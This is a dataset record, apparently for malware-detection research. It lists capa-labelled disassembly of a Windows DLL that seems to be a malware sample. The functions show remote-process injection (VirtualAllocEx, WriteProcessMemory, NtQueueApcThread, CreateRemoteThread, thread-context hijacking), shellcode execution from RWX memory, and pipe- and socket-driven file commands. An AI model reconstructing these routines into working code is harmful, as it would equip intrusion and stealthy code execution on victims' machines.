joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10003c72
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
xor edi, edi
mov esi, eax
cmp dword [0x10037618], edi
jne 0x10003c94
push 0x80004
call fcn.10014855
pop ecx
mov dword [0x10037618], eax
push dword [esi]
call sub.WS2_32.dll_htonl
mov ecx, dword [0x10037618]
mov dword [ecx], eax
mov ebx, dword [esi + 4]
cmp ebx, dword [ebp + 8]
jbe 0x10003cd3
mov ebx, dword [ebp + 8]
jmp 0x10003cd3
push dword [esi + 8]
mov eax, dword [0x10037618]
push ebx
lea eax, [eax + edi + 4]
push 1
push eax
call fcn.10015c0c
add esp, 0x10
test eax, eax
je 0x10003cd9
add edi, eax
sub ebx, eax
sub dword [esi + 4], eax
test ebx, ebx
ja 0x10003cb0
jmp 0x10003cdd
and dword [esi + 4], 0
push 8
add edi, 4
push edi
push dword [0x10037618]
call fcn.100012cf
add esp, 0xc
call fcn.10003cfb
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x10003dbe
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push dword [ebp + 0xc]
lea eax, [ebp - 0x20]
push dword [ebp + 8]
push eax
call fcn.100067d0
lea eax, [ebp - 0x10]
push pe_nt_image_headers32
push eax
call fcn.100015db
lea eax, [ebp - 0x20]
push eax
call fcn.100067e9
push eax
lea eax, [ebp - 0x10]
push eax
call fcn.1000162b
add esp, 0x20
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
push eax
lea eax, [ebp - 0x10]
push 0x1002d588
push eax
call fcn.1000167e
add esp, 0xc
push 0x16
lea eax, [ebp - 0x10]
call fcn.100016e0
push eax
lea eax, [ebp - 0x10]
call fcn.100016dd
push eax
call fcn.100012cf
lea eax, [ebp - 0x10]
push eax
call fcn.100016bd
add esp, 0x10
leave
ret

Function at 0x10003e36
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
and al, 0x10
xor ecx, ecx
cmp al, 0x10
sete cl
mov eax, ecx
pop ebp
ret

Function at 0x10003f17
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
push 0x4000
call fcn.10006769
pop ecx
mov edi, 0x2000
mov esi, eax
push edi
push esi
call fcn.10006857
mov ebx, eax
push edi
push esi
mov dword [ebp - 8], ebx
call fcn.10006857
push dword [ebp + 0xc]
mov dword [ebp - 4], eax
push dword [ebp + 8]
lea eax, [ebp - 0x18]
push eax
call fcn.100067d0
add esp, 0x1c
lea eax, [ebp - 0x18]
push edi
push eax
call fcn.100068fb
mov ebx, dword [ebp - 4]
lea eax, [ebp - 0x18]
push edi
push eax
call fcn.100068fb
add esp, 0x10
push 0
push ebx
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x10003f94
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0xd
call fcn.10001e97
pop ecx
pop ecx
call fcn.100067a9
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10003f9e
Capabilities:
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
push 0x4000
call fcn.10006769
pop ecx
mov edi, 0x2000
mov esi, eax
push edi
push esi
call fcn.10006857
mov ebx, eax
push edi
push esi
mov dword [ebp - 8], ebx
call fcn.10006857
push dword [ebp + 0xc]
mov dword [ebp - 4], eax
push dword [ebp + 8]
lea eax, [ebp - 0x18]
push eax
call fcn.100067d0
add esp, 0x1c
lea eax, [ebp - 0x18]
push edi
push eax
call fcn.100068fb
mov ebx, dword [ebp - 4]
lea eax, [ebp - 0x18]
push edi
push eax
call fcn.100068fb
add esp, 0x10
push ebx
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_MoveFileA]
test eax, eax
jne 0x10004019
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0xe
call fcn.10001e97
pop ecx
pop ecx
call fcn.100067a9
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10004023
Capabilities:
Enumerate files on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x174
push ebx
push esi
push edi
mov esi, 0x4000
push esi
call fcn.10014855
pop ecx
push esi
mov ebx, eax
push 0
push ebx
call fcn.1001c290
add esp, 0xc
push dword [ebp + 0xc]
lea eax, [ebp - 0x10]
push dword [ebp + 8]
push eax
call fcn.100067d0
lea eax, [ebp - 0x10]
add esp, 0xc
push eax
call fcn.100067e9
pop ecx
mov edi, eax
lea eax, [ebp - 0x10]
push esi
push eax
call fcn.100068fb
lea eax, [ebp - 0x10]
push 0x200000
push eax
call fcn.100015db
lea eax, [ebp - 0x10]
push edi
push eax
call fcn.1000162b
push esi
push 0x1002d594
push ebx
call fcn.10015d38
add esp, 0x24
test eax, eax
jne 0x100040b5
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push 2
push 0x1002d598
push esi
push ebx
call fcn.10015035
add esp, 0x10
push ebx
lea eax, [ebp - 0x10]
push 0x1002d520
push eax
call fcn.1000167e
add esp, 0xc
lea eax, [ebp - 0x170]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x10004116
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push ebx
push 0x34
call fcn.10001ec5
add esp, 0xc
push 0x16
lea eax, [ebp - 0x10]
call fcn.100016e0
push eax
lea eax, [ebp - 0x10]
call fcn.100016dd
push eax
call fcn.100012cf
add esp, 0xc
push ebx
call fcn.10014778
pop ecx
jmp 0x100041fc
push ebx
call fcn.10014778
pop ecx
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x15c]
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x30]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_SystemTimeToTzSpecificLocalTime]
test byte [ebp - 0x170], 0x10
je 0x1000417f
lea eax, [ebp - 0x144]
push eax
movzx eax, word [ebp - 0x14]
push eax
movzx eax, word [ebp - 0x16]
push eax
movzx eax, word [ebp - 0x18]
push eax
movzx eax, word [ebp - 0x20]
push eax
movzx eax, word [ebp - 0x1a]
push eax
movzx eax, word [ebp - 0x1e]
push eax
lea eax, [ebp - 0x10]
push str.D_t0_t_02d__02d__02d__02d:_02d:_02d_t_s_n
push eax
call fcn.1000167e
add esp, 0x24
jmp 0x100041c3
mov ecx, dword [ebp - 0x154]
lea edx, [ebp - 0x144]
push edx
movzx edx, word [ebp - 0x14]
push edx
movzx edx, word [ebp - 0x16]
mov eax, dword [ebp - 0x150]
push edx
movzx edx, word [ebp - 0x18]
push edx
movzx edx, word [ebp - 0x20]
push edx
movzx edx, word [ebp - 0x1a]
push edx
movzx edx, word [ebp - 0x1e]
push edx
push ecx
push eax
lea eax, [ebp - 0x10]
push str.F_t_I64d_t_02d__02d__02d__02d:_02d:_02d_t_s_n
push eax
call fcn.1000167e
add esp, 0x2c
lea eax, [ebp - 0x170]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x1000411d
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0x16
lea eax, [ebp - 0x10]
call fcn.100016e0
push eax
lea eax, [ebp - 0x10]
call fcn.100016dd
push eax
call fcn.100012cf
add esp, 0xc
lea eax, [ebp - 0x10]
push eax
call fcn.100016bd
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000420b
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
push edi
push 0
push 0
push dword [ebp + 8]
call esi
mov edi, eax
test edi, edi
jne 0x10004229
xor eax, eax
jmp 0x1000424a
lea eax, [edi + 1]
cmp eax, dword [ebp + 0x10]
jae 0x10004225
push dword [ebp + 0x10]
push 0
push dword [ebp + 0xc]
call fcn.1001c290
add esp, 0xc
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
call esi
pop edi
pop esi
pop ebp
ret

Function at 0x100047a0
Capabilities:
Create pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74
push esi
push edi
push dword [ebp + 0x28]
call fcn.1000a815
pop ecx
push 0x44
pop esi
push esi
lea eax, [ebp - 0x74]
push 0
push eax
call fcn.1001c290
and dword [ebp - 0x14], 0
xor eax, eax
lea edi, [ebp - 0x28]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
add esp, 0xc
stosd dword es:[edi], eax
push 0x100000
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push eax
mov dword [ebp - 0x74], esi
mov dword [ebp - 0x18], 0xc
mov dword [ebp - 0x10], 1
call dword [sym.imp.KERNEL32.dll_CreatePipe]
lea eax, [ebp - 0x74]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
and dword [ebp - 0x3c], 0
xor eax, eax
mov word [ebp - 0x44], ax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x74]
push eax
push dword [ebp + 0x28]
mov dword [ebp - 0x48], 0x101
push dword [ebp + 0x24]
call fcn.1000a25b
add esp, 0x10
test eax, eax
je 0x1000488e
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [ebp + 0x1c]
mov eax, dword [ebp - 0x20]
push dword [ebp + 0x18]
mov ecx, dword [ebp - 0x28]
push dword [ebp + 0xc]
lea edx, [ebp - 0x28]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
call fcn.10004bd8
add esp, 0x14
cmp dword [ebp + 8], 0
jbe 0x10004871
push dword [ebp + 8]
push dword [ebp - 0xc]
call fcn.1000598e
pop ecx
pop ecx
push dword [ebp + 0x20]
lea esi, [ebp - 0x28]
push dword [ebp - 8]
push dword [ebp - 0xc]
sub esp, 0x10
mov edi, esp
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call fcn.100055cd
add esp, 0x1c
push dword [ebp + 0x28]
call fcn.1000a837
pop ecx
pop edi
pop esi
leave
ret
Function at 0x10004d53
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
and dword [ebp - 4], 0
push ebx
mov ebx, fcn.10004d53
push esi
sub ebx, 0x10004d1d
lea eax, [ebx + 0x10]
push edi
push eax
mov dword [ebp - 0xc], eax
call fcn.10014855
mov esi, dword [ebp + 0x10]
mov edi, eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push ebx
mov dword [ebp - 8], eax
add eax, 0x10
push 0x10004d1d
push eax
movsd dword es:[edi], dword [esi]
call fcn.1001b0a0
mov edi, dword [ebp - 0xc]
add esp, 0x10
push 0x40
push 0x3000
push edi
push 0
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
test esi, esi
je 0x10004dce
lea eax, [ebp - 4]
push eax
push edi
push dword [ebp - 8]
push esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x10004dce
cmp dword [ebp - 4], edi
je 0x10004dce
xor esi, esi
push dword [ebp - 8]
call fcn.10014778
pop ecx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x10004dde
Capabilities:
Enumerate threads

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
push esi
push edi
xor eax, eax
push 6
pop ecx
lea edi, [ebp - 0x30]
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x14]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x14], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
push str.NtQueueApcThread
xor esi, esi
push str.ntdll
mov dword [ebp - 4], esi
mov dword [ebp - 0x34], 0x1c
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp + 0xc], eax
cmp eax, esi
je 0x10004f0f
lea eax, [ebp - 0x18]
push eax
push dword [ebx + 8]
push dword [ebx]
call fcn.10004d53
mov edi, eax
add esp, 0xc
cmp edi, esi
je 0x10004f0f
push esi
push 4
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp + 8], eax
cmp eax, esi
je 0x10004f0f
lea ecx, [ebp - 0x34]
push ecx
push eax
call sub.KERNEL32.dll_Thread32First
test eax, eax
je 0x10004f0f
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x28]
cmp eax, dword [ebx + 8]
jne 0x10004eb2
push dword [ebp - 0x2c]
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov dword [ebp - 8], eax
test eax, eax
je 0x10004eb2
push 0
push 0
push edi
lea ecx, [edi + 0x10]
push ecx
push eax
call dword [ebp + 0xc]
push dword [ebp - 8]
call esi
lea eax, [ebp - 0x34]
push eax
push dword [ebp + 8]
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x10004e81
push dword [ebp + 8]
call esi
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 4]
push eax
push 0x10
lea eax, [ebp - 0x18]
push eax
push edi
push dword [ebx]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x10004f0f
cmp dword [ebp - 4], 0x10
jne 0x10004f0f
cmp dword [ebp - 0xc], 0
jne 0x10004f15
lea eax, [ebp - 4]
push eax
push 0x10
lea eax, [ebp - 0x18]
push eax
push edi
push dword [ebx]
mov dword [ebp - 0xc], 1
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor eax, eax
pop edi
pop esi
leave
ret
xor eax, eax
inc eax
jmp 0x10004f11

Function at 0x10004f1a
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
push str.NtQueueApcThread
push str.ntdll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x10004f3c
xor eax, eax
pop ebp
ret
push 0
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 4]
call eax
test eax, eax
jne 0x10004f38
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
pop ebp
ret

Function at 0x10004f64
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
xor eax, eax
push eax
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push eax
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
neg eax
sbb eax, eax
neg eax
pop ebp
ret
Function at 0x10004f84
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
xor eax, eax
push eax
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
neg eax
sbb eax, eax
neg eax
pop ebp
ret

Function at 0x10004fa1
Capabilities:
Create thread
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2cc
push esi
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
xor esi, esi
cmp eax, esi
jne 0x10004fcb
xor eax, eax
jmp 0x10005050
mov ecx, dword [ebp + 8]
add eax, dword [ebp + 0x20]
sub ecx, 6
push edi
je 0x10004fee
dec ecx
jne 0x1000503a
push esi
push 4
push dword [ebp + 0x14]
push eax
push esi
push esi
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
jmp 0x10004ffd
push esi
push 4
push dword [ebp + 0x14]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edi, eax
cmp edi, esi
je 0x1000503a
lea eax, [ebp - 0x2cc]
push eax
push edi
mov dword [ebp - 0x2cc], 0x10007
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x1000503a
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x21c], eax
lea eax, [ebp - 0x2cc]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x1000503e
xor eax, eax
jmp 0x1000504f
push edi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
pop edi
pop esi
leave
ret
Function at 0x1000535d
Capabilities:
Allocate or change rwx memory
Check os version
Execute shellcode via indirect call
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x98
push 0x90
lea eax, [ebp - 0x94]
push 0
push eax
call fcn.1001c290
add esp, 0xc
lea eax, [ebp - 0x98]
push eax
mov dword [ebp - 0x98], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x1000539b
xor eax, eax
leave
ret
cmp dword [ebp - 0x94], 5
jne 0x100053b7
cmp dword [ebp - 0x90], 2
jne 0x100053b7
push 5
call dword [sym.imp.KERNEL32.dll_SetLastError]
jmp 0x10005397
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x40
mov ebx, 0x3000
push ebx
push 0x4c
push 0
call esi
mov edi, eax
mov dword [ebp - 4], edi
test edi, edi
je 0x10005437
push 0x40
push ebx
push 0x149
push 0
call esi
mov ebx, eax
test ebx, ebx
je 0x10005437
mov eax, dword [ebp + 8]
push 0x13
pop ecx
push 0x4a
mov esi, 0x10033020
rep movsd dword es:[edi], dword [esi]
pop ecx
mov esi, 0x10033070
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
lea esi, [ebx + 0x129]
and dword [esi + 0x18], 0
mov dword [esi], eax
mov eax, dword [ebp + 0xc]
mov dword [esi + 8], eax
mov eax, dword [ebp + 0x10]
push esi
push ebx
mov dword [esi + 0x10], eax
call dword [ebp - 4]
test eax, eax
jne 0x10005428
push 5
jmp 0x10005431
mov esi, dword [esi + 0x18]
test esi, esi
jne 0x1000543b
push 6
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
jmp 0x1000545e
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFree]
mov edi, 0x4000
push edi
push 0
push dword [ebp - 4]
call esi
push edi
push 0
push ebx
call esi
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10005463
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2cc
cmp dword [ebp + 0xc], 0
je 0x10005476
xor eax, eax
leave
ret
cmp dword [esi + 0x10], 0
je 0x10005472
lea eax, [ebp - 0x2cc]
push eax
push dword [esi + 4]
mov dword [ebp - 0x2cc], 0x10002
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x10005472
mov eax, dword [ebp + 8]
mov dword [ebp - 0x21c], eax
lea eax, [ebp - 0x2cc]
push eax
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x10005472
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
leave
ret
Function at 0x10005837
Capabilities:
Read file on windows
Read pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
xor esi, esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov dword [ebp - 0xc], esi
mov dword [ebp - 4], esi
push esi
lea eax, [ebp - 8]
push eax
push esi
push esi
push esi
push dword [ebp + 8]
call edi
test eax, eax
jne 0x10005891
or eax, 0xffffffff
jmp 0x10005899
cmp dword [ebp - 4], 0x80000
jae 0x10005896
push esi
lea eax, [ebp - 0xc]
push eax
mov eax, 0x80000
sub eax, dword [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [ebp - 0xc]
add dword [ebp - 4], eax
add dword [ebp + 0xc], eax
jmp 0x1000584d
cmp dword [ebp - 8], esi
ja 0x10005863
mov eax, dword [ebp - 0xc]
pop edi
pop esi
leave
ret

Function at 0x10005f54
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
push edi
call esi
mov edi, eax
add edi, 0x3a98
call esi
cmp eax, edi
jae 0x10005fc4
xor eax, eax
push eax
push 0x100000
push 3
push eax
push eax
push 0xc0000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x10005ff0
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xe7
jne 0x10005fb1
push 0x2710
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
jmp 0x10005fbc
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
call esi
cmp eax, edi
jb 0x10005f73
jmp 0x10005fc7
mov ebx, dword [ebp - 8]
cmp ebx, 0xffffffff
jne 0x10005ff0
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
cmp eax, 0x79
jne 0x10005fe2
push 4
call fcn.10001ef5
jmp 0x10005fed
call esi
push eax
push 0x14
call fcn.10001e97
pop ecx
pop ecx
jmp 0x10006051
push 0
push 0
lea eax, [ebp - 8]
push eax
push ebx
mov dword [ebp - 8], 2
call dword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
test eax, eax
jne 0x1000601c
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x14
call fcn.10001e97
pop ecx
pop ecx
jmp 0x10006043
mov ecx, ebx
lea eax, [ebp - 0x2c]
call fcn.100061c6
sub esp, 0x20
push 8
pop ecx
mov esi, eax
mov edi, esp
push 0x1bd
rep movsd dword es:[edi], dword [esi]
call fcn.10005b9a
add esp, 0x24
test eax, eax
jne 0x10006051
push ebx
call dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10006066
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
push esi
xor esi, esi
test edi, edi
jle 0x100060a0
push 0
lea eax, [ebp - 4]
push eax
mov eax, edi
sub eax, esi
push eax
mov eax, dword [ebp + 0xc]
add eax, esi
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x100060a9
cmp dword [ebp - 4], 0
je 0x100060a9
add esi, dword [ebp - 4]
cmp esi, edi
jl 0x10006075
cmp esi, edi
jne 0x100060a9
mov eax, esi
pop esi
leave
ret
or eax, 0xffffffff
jmp 0x100060a6
Function at 0x100060ae
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
xor esi, esi
and dword [ebp - 4], esi
xor eax, eax
inc eax
cmp dword [ebp + 0x10], esi
jle 0x100060f7
mov eax, dword [ebp + 0x10]
sub eax, esi
cmp eax, 0x2000
jle 0x100060d1
mov eax, 0x2000
push 0
lea ecx, [ebp - 4]
push ecx
push eax
mov eax, dword [ebp + 0xc]
add eax, esi
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x100060f5
add esi, dword [ebp - 4]
cmp esi, dword [ebp + 0x10]
jl 0x100060c0
jmp 0x100060f7
xor eax, eax
pop esi
leave
ret

Function at 0x100061f3
Capabilities:
Receive data
Receive data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call edi
mov ebx, dword [sym.imp.WS2_32.dll_ioctlsocket]
mov esi, eax
add esi, dword [ebp + 0xc]
and dword [ebp + 0xc], 0
lea eax, [ebp - 8]
push eax
push 0x8004667e
push dword [ebp + 8]
mov dword [ebp - 8], 1
call ebx
cmp eax, 0xffffffff
jne 0x1000625c
xor eax, eax
jmp 0x1000628b
push 2
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
je 0x1000626d
jg 0x10006264
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x1000626d
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
call edi
cmp eax, esi
jb 0x10006230
jmp 0x10006271
mov dword [ebp + 0xc], 1
jmp 0x10006271
and dword [ebp + 0xc], 0
and dword [ebp - 8], 0
lea eax, [ebp - 8]
push eax
push 0x8004667e
push dword [ebp + 8]
call ebx
inc eax
neg eax
sbb eax, eax
and eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x100062ba
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push esi
xor esi, esi
test edi, edi
jle 0x100062e9
push 0
mov eax, edi
sub eax, esi
push eax
mov eax, dword [ebp + 0xc]
add eax, esi
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x100062f2
test eax, eax
je 0x100062e9
add esi, eax
cmp esi, edi
jl 0x100062c4
cmp esi, edi
jne 0x100062f2
mov eax, edi
pop esi
pop ebp
ret
or eax, 0xffffffff
jmp 0x100062ef

Function at 0x100063bb
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push 0x8004667e
push edi
call dword [sym.imp.WS2_32.dll_ioctlsocket]
mov eax, fcn.10019d57
mov dword [esi + 0x14], eax
mov dword [esi + 0x1c], eax
mov dword [esi + 4], edi
mov dword [esi + 8], 0x100062f7
mov dword [esi + 0xc], 0x1000634c
mov dword [esi + 0x10], 0x10006389
mov dword [esi + 0x18], 0x100063a6
mov eax, esi
leave
ret